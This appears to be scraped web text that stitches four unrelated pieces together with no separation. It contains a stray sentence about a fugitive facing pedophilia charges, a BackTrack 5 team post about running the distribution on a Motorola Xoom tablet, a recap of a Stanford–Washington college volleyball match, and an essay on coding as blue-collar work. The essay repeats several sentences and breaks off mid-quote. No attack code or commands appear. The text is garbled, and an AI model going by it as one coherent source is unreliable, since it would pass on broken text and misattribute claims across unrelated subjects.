Black had been wanted in the U.S. for 15 years on pedophilia charges in the U.S. state of Arizona, before fleeing to Mexico.In the past few days we have been toying with some Motorola hardware, and have managed to get a basic build of BackTrack 5 (+ toolchain) on a Motorola Xoom. The possibilities look exciting as we are slowly building several experimental arm packages. Our team does not have much experience with the Android OS nor ARM hardware, but so far – so good. We will not promise an ARM release on May 10th, as this new “experiment” was not planned in any way – but we’ll do our best.
As of now, we have got a modified version of an Ubuntu 10.04 ARM image, chrooted on a Motorola Xoom. The tablet is running a modified, overclockable kernel (from 1.0 to 1.5 GHz). The chrooted BackTrack environment is running a VNC server, from which you can connect from the tablet itself. When run locally from the Xoom tablet, the VNC session does not lag, and the touch keyboard and touchscreen are very workable.
As expected from a chrooted environment, we are not using any custom drivers (for now), and injection and other related wireless attacks are NOT possible. Here’s a few screenshots we managed to scrounge from our dev box:
We hope to release a dev version of this image in a couple of weeks for other Xoom owners to play with. We’ll keep you posted!With one of the tallest lineups in the country, ninth-ranked Stanford earns a tough five-set victory over the seventh-ranked Huskies.
Facing one of college volleyball’s tallest lineups, Washington came up short, just barely, in a hard-fought, tension-packed matchup of top-10 teams.
Ninth-ranked Stanford, with starters who measure 6 feet 8, 6-6 (two of them), 6-4 and 6-3, was a touch too much for the Huskies in a decisive fifth set, defeating seventh-ranked UW 21-25, 25-20, 25-21, 17-25, 15-9 in front of an animated Alaska Airlines Arena crowd of 2,923 Wednesday night.
UW junior outside hitter Crissy Jones had a career night with 24 kills, along with five block assists, two aces and 12 digs, but it wasn’t enough to overcome Stanford’s multipronged attack.
“What a load she carries for us, in all sorts of ways, from attacking to defense,” UW coach Keegan Cook said. “She gave us a real chance to win this match tonight.”
Stanford (9-2 overall, 3-0 Pac-12) entered the night ranked as the nation’s No. 1 team in blocks per set, but the Huskies matched up effectively with the taller Cardinal. Each team finished with 13 blocks. UW freshman Avie Niece recorded 10 block assists and a solo block.
But UW (11-2, 1-2) could not match Stanford’s offensive output from its middles.
Inky Ajanaku, Volleyball magazine’s 2014 national player of the year, missed all of 2015 due to a knee injury. The 6-3 redshirt senior recorded 13 kills Wednesday night, and 6-6 freshman Audriana Fitzmorris had nine. UW’s freshman middles, Kara Bajema (six kills) and Niece (three), could not keep pace.
“We’d like a better presence from our middle attackers,” Cook said. “Part of that is running slides and some tight quicks. We happened to face two pretty talented middle blockers tonight, and I thought we did pretty well at times on both sides of the ball. But we need a more consistent offense from our middles and maybe just a little more help on the outside.”
Kathryn Plummer, a 6-6 freshman opposite hitter, led Stanford with 18 kills. Courtney Schwan, artfully mixing cannonballs and roll shots, had 15 for UW.
Washington recorded nine aces, four from junior setter Bailey Tanner, who held serve during a pair of UW 8-0 runs in the first and third sets. “If people only knew how hard Bailey works on her serve,” Cook said. “I think the two things I say to Bailey first each day are ‘Good morning’ and ‘Have you worked on your serve yet?’ She did a nice job tonight.”
The Huskies host California (6-6, 0-2) on Thursday at 7 p.m.When I ask people to picture a coder, they usually imagine someone like Mark Zuckerberg: a hoodied college dropout who builds an app in a feverish 72-hour programming jag—with the goal of getting insanely rich and, as they say, “changing the world.”
But this Silicon Valley stereotype isn’t even geographically accurate. The Valley employs only 8 percent of the nation’s coders. All the other millions? They’re more like Devon, a programmer I met who helps maintain a security-software service in Portland, Oregon. He isn’t going to get fabulously rich, but his job is stable and rewarding: It’s 40 hours a week, well paid, and intellectually challenging. “My dad was a blue-collar guy,” he tells me—and in many ways, Devon is too.
Politicians routinely bemoan the loss of good blue-collar jobs. Work like that is correctly seen as a pillar of civil middle-class society. And it may yet be again. What if the next big blue-collar job category is already here—and it’s programming? What if we regarded code not as a high-stakes, sexy affair, but the equivalent of skilled work at a Chrysler plant?
Among other things, it would change training for programming jobs—and who gets encouraged to pursue them. As my friend Among other things, it would change training for programming jobs—and who gets encouraged to pursue them. As my friend Anil Dash, a technology thinker and entrepreneur, notes, teachers and businesses would spend less time urging kids to do expensive four-year computer-science degrees and instead introduce more code at the vocational level in high school. You could learn how to do it at a community college; midcareer folks would attend intense months-long programs like Dev Bootcamp. There’d be less focus on the wunderkinds and more on the proletariat.
These sorts of coders won’t have the deep knowledge to craft wild new algorithms for flash trading or neural networks. Why would they need to? That level of expertise is rarely necessary at a job. But any blue-collar coder will be plenty qualified to sling JavaScript for their local bank. That’s a solidly middle-class job, and middle-class jobs are growing: The national average salary for IT jobs is about $81,000 (more than double the national average for all jobs), and the field is set to expand by 12 percent from 2014 to 2024, faster than most other occupations.
Across the country, people are seizing this opportunity, particularly in states hit hardest by deindustrialization. In Kentucky, mining veteran Rusty Justice decided that code could replace coal. He cofounded Across the country, people are seizing this opportunity, particularly in states hit hardest by deindustrialization. In Kentucky, mining veteran Rusty Justice decided that code could replace coal. He cofounded Bit Source, a code shop that builds its workforce by retraining coal miners as programmers. Enthusiasm is sky high: Justice got 950 applications for his first 11 positions. Miners, it turns out, are accustomed to deep focus, team play, and working with complex engineering tech. “Coal miners are really technology workers who get dirty,” Justice says.
Meanwhile, the Tennessee nonprofit Meanwhile, the Tennessee nonprofit CodeTN is trying to nudge high school kids into coding programs at community colleges. Some students (and teachers) worry that the kids don’t fit the Zuckerbergian cliché. That’s a cultural albatross, CodeTN cofounder Caleb Fristoe says. “We need to get more employers saying, ‘Yeah, we just need someone to manage the login page |
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